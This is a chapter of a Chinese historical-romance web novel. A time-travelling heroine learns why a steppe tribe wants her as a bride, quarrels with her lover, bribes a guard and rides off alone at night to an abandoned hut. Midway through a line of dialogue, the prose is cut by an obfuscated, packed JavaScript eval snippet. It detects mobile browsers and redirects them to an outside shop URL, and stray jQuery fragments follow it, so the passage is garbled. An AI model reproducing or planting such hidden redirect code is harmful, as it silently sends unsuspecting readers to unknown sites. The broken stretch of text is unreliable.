158. 算计、躲避

作品:《宋时家宴

    柳嘉之轻叹一声:“后来就成了异地恋。”


    晏井承原本沉郁的心情,总能被她的奇思妙语疏散些:“什么?”


    柳嘉之连忙笑了笑,岔开话:“没什么,所以后来师父便带你去了驼铃隘?这期间思夫人也没再寻过他?”


    晏井承点头:“听师父说,后来女儿长大,思夫人才允她自由往返驼铃隘,可师父不愿她见我,二人便只在外围小屋相见。”


    柳嘉之恍然,打趣道:“原来如此,思夫人这乱点鸳鸯谱的爱好,倒是十年如一日。”顿了顿,又问道:“萨仁是你们走后才出生的?”


    晏井承颔首:“是。论起他自幼无父,我确有几分责任,师父若不是为了我,也不会……”


    柳嘉之打断他:“其实半点不怨你。言袂先生一则顾虑女儿,不愿她卷入纠葛;二则中原礼法与昭弥部风俗相悖,本就难容,非你之过,不必自责。”说罢,转过身轻轻抱住了他。


    *


    晏井承静静被她抱着,胸膛里的沉郁渐渐被驱散。


    半晌,柳嘉之见他不说话,仰头戳了戳他的下巴,提议道:


    “干脆我今晚就留在你这,明天天一亮咱俩一道从你帐子里出去,这样既光明正大,也彻底绝了萨仁和思夫人的念头,多好。”


    晏井承收紧手臂,将她搂得更紧,低头在她发顶轻啄一下,无奈又宠溺:


    “小之又开始天不怕地不怕了。昭弥部虽民风爽朗,却也还是不比小之你的千年后,这般行事会让你陷入不必要的争议之中。我和师父已经在想办法了,再等等。”


    柳嘉之撇了撇嘴,不甘心地追问:“那你总得告诉我,思夫人为何非要我点头同意不可?她明明知道我和你的心意,偏要哄着萨仁起执念,这里面一定有原因。”


    晏井承摩挲着她的后背:“你且猜猜看。”


    柳嘉之立马回道:“我一早猜的是,为着我大宋郡主的身份,但是萨仁此般前去分明已和大宋建立了邦交,走我这一步总感觉有些多余。”


    *


    晏井承伸手将她的眉头轻轻抚平,“小之果然敏锐,郡主身份确实是一层考量。昭弥部虽与大宋建交,却仍需稳固,你的身份能让部族更有底气。但这绝非主要原因。”


    “你可知昭弥部地下藏着无尽盐矿与宝石矿脉?这些财富让周边部族垂涎不已,这些年明里暗里的试探从未断过。萨仁是昭弥部唯一的王子,他的婚事早已不是私事,而是关乎部族安危的政治筹码。”


    “周边部族都盯着他娶谁。娶了某部的公主,便是绑定同盟;可若娶了别人,便可能激化矛盾。而你,”他握住她的手,“是大宋郡主,背后有中原朝廷做靠山。娶了你,既不会得罪任何一个周边部族,又能借大宋的威慑力护住昭弥部,思夫人打的,是这个主意。”


    柳嘉之听完眉头反倒皱得更紧,疑惑道:“可思夫人如今是昭弥部的女王,忆思才是她的长女,按说下一任首领该由忆思继承才对,为何要让萨仁的婚事来维系部族安危?”


    晏井承轻轻摩挲起她的掌心,“昭弥部虽由女子掌权,却仍受草原旧俗影响。女子继位本就需部族长老全力支持,当年思夫人能坐稳女王之位,是因她以胆识化解内乱、带来部族富庶,长老们才暂放旧念。”


    “她虽是长女,却在懂事后常往驼铃隘跑,对部族事务生疏,长老们本就心存顾虑。而萨仁自小在部族长大,跟着思夫人熟悉族中大小事,更得长老们认可。”


    “再者,周边部族多是男子掌权,他们虽忌惮思夫人的能力,却打心底里轻视女子继位的部族。若忆思继位,他们只会更肆无忌惮地觊觎昭弥部的财富,甚至以此为借口挑起战乱。”


    *


    柳嘉之无奈调侃道:“照你这么说,为了昭弥部的安危,我倒好像非嫁萨仁不可了?”


    晏井承沉默片刻,再次抬眸看向她:“并非非嫁不可,还有一项比联姻更妥善的法子。”


    “什么法子?”


    “归顺大宋,不做邦交而做藩属。”


    柳嘉之整个人僵住,震惊地望着晏井承,半晌才不可置信道:“归顺大宋?做藩属?”


    她猛地反应过来,“所以赵祯给他们恩典,他早就料到昭弥部有此困境,笃定他们会为了部族安危求娶我联姻,更笃定你绝不会让我沦为筹码,一定会介入劝昭弥部归顺?”


    晏井承连忙抬手捂住她的嘴,眼神示意她噤声:“小之,隔墙有耳,别多想。你只需知道,我和师父定会想出万全之策,待万事落定,我便带你回去,再无人能逼你做不愿做的事。”


    柳嘉之用力拨开他的手,“待万事落定,这句话你已经说了好多遍了。你知道我现在是什么感觉吗?”


    “就好像闯进了一个楚门的世界,身边的一切看似巧合,实则都被人安排得明明白白。”


    她摇了摇头,想驱散这份荒诞感,强撑着道:“算了,我先回去了。”说罢便要起身往外走。


    晏井承急忙抓住她的手腕,想接着开口,却被她用力挣开。


    “我没事,”柳嘉之避开他的目光,声音有些颤抖,“你和师父加油,我等着你们的万全之策。”说完,便头也不回地快步走出了营帐。


    *


    柳嘉之走出来,三更的月色已浸得天地一片清寒。她望着天边那轮孤月,身子忍不住颤抖,竟一时不知该往何处去。


    她回到自己的空无一人的毡帐后,在门边躲了起来,悄悄在门缝里望着。果然不多时,便见晏井承悄然跟了过来。


    他脚步放得极轻,没敢贸然上前,只在她的毡帐门口静静伫立。月光勾勒出他的身影,透着几分落寞与无措,二人就这般隔着一道门站了许久。


    之后晏井承叹了口气,才又慢慢走了回去。


    柳嘉之看着晏井承消失的背影,鼻尖一酸,出了门朝着马厩走去。


    马厩里的马匹大多已沉沉睡去,唯有小红马听到动静,抬起头轻轻嘶鸣了一声,声音温顺又亲昵。


    在一众马匹中,她一眼便找到了这匹陪伴自己多时的小红马,伸手抚上它温热的鬃毛。


    *


    柳嘉之没有再犹豫,将从毡帐里顺拿的干粮和水囊仔细挂在马鞍两侧,而后解开缰绳,翻身上马。


    夜色如墨,小红马脚步轻快地带着她朝昭弥部外围走去。行至部族关口时,果然被两名守卫拦住,手中长刀横在身前,低声喝问。


    柳嘉之认出其中一人正是常与她搭话、懂中原话的守卫,便放缓语气,露出轻快的笑容:


    “是我,不必紧张。我想着萨仁王子如此心悦我,便想亲自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16794802|175250||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去采些他提过的珍稀花草,给他一个惊喜,也好让他明白我的心意。”


    守卫闻言面露迟疑,对视一眼。柳嘉之见状,又补了一句:“此事我想悄悄进行,我明日天黑前便赶回来。还请二位替我保密,莫要声张。”


    她说着,从袖中摸出一小块金饰递过去,又顺势问道:“我对周边路况不熟,不知二位可有简易地图借我一用?用完定会归还。”


    那懂中原话的守卫本就对这位大宋郡主颇有好感,又听她言辞真切,便不再多问,接过金饰收好,转头从值守的木屋中取来一张粗糙的兽皮地图,指了指上面的标记。


    “郡主沿着这条路走,半日便能到采花草的山谷,路上小心。”


    柳嘉之连忙道谢,接过地图收好,轻轻一夹马腹,小红马便踏着月色,缓缓走出了昭弥部的关口,朝着夜色深处行去。身后的守卫望着她的背影渐渐消失,并未多想,依旧守在岗位上。


    *


    柳嘉之素来因加班惯了深夜独行,倒也不惧怕这荒原夜路。况且这千年前的月亮,竟比她那二线小城的路灯还要亮。


    她任由小红马慢悠悠地踏着蹄子前行,没有刻意催促。这匹马似是颇有灵性,不用她指引,竟一直沿着一条相对平坦宽阔的路走,路面隐约能看出车轮碾过的痕迹,像是部族间往来的主干道。


    风吹来,带着草的清香,耳边只有马蹄踏地声和偶尔掠过的虫鸣。


    柳嘉之松了松握着缰绳的手,望着漫天繁星,心中憋闷稍稍舒缓了些。只是这条路究竟通向何方,她无从得知,也不想深究。


    此刻她只想逃离那些布局与算计,找个无人打扰的地方,好好喘口气。


    *


    不知走了多久,小红马忽然脚步一停,在一处背风的土屋前站定。


    这屋子看着有些年头,墙体由黄土夯筑而成,屋顶覆着干草,隐在一片矮树丛后,倒像是特意用来避风沙的歇脚处。


    柳嘉之俯身,轻轻挠了挠小红马的脖颈,疑惑道:“怎么停下来了?是累了吗?”


    小红马没有嘶鸣,只是温顺地用脑袋蹭了蹭她的手背,而后转头,澄澈的眼眸直直望向那间土屋。


    柳嘉之小心翼翼地下了马,蹑手蹑脚地走到窗边。


    窗框是粗陋的木头拼制,蒙着一层薄尘,她踮起脚尖往里探了探,屋内空无一人,墙角堆着些干草,看着倒还干净。


    她想推门进去歇歇脚,伸手一推,却发现门是锁住的。


    柳嘉之轻叹一声,正想转身牵小红马,却见小红马已踱步到屋侧一处草丛前,抬起前蹄,一下一下地刨着地上的泥土。


    “你这是……”柳嘉之心中好奇,连忙蹲下身,学着小红马的样子用手挖了起来。


    泥土松软,没挖几下,便从土里挖出一把铜钥匙,钥匙柄上还刻着简单的花纹。


    柳嘉之拿着钥匙,震惊地看向小红马:“你居然知道这里有钥匙?”


    小红马像是听懂了她的话,仰头轻鸣一声,声音竟有些得意,而后自顾自走到屋前一根歪斜的木桩旁,静静站定,闭上了眼睛。


    柳嘉之愈发不可置信,握着钥匙跟着它走到木桩前,先将小红马的缰绳仔细套在桩上,而后转身走向土屋大门。


    她将铜钥匙轻轻一转,门锁应声而开。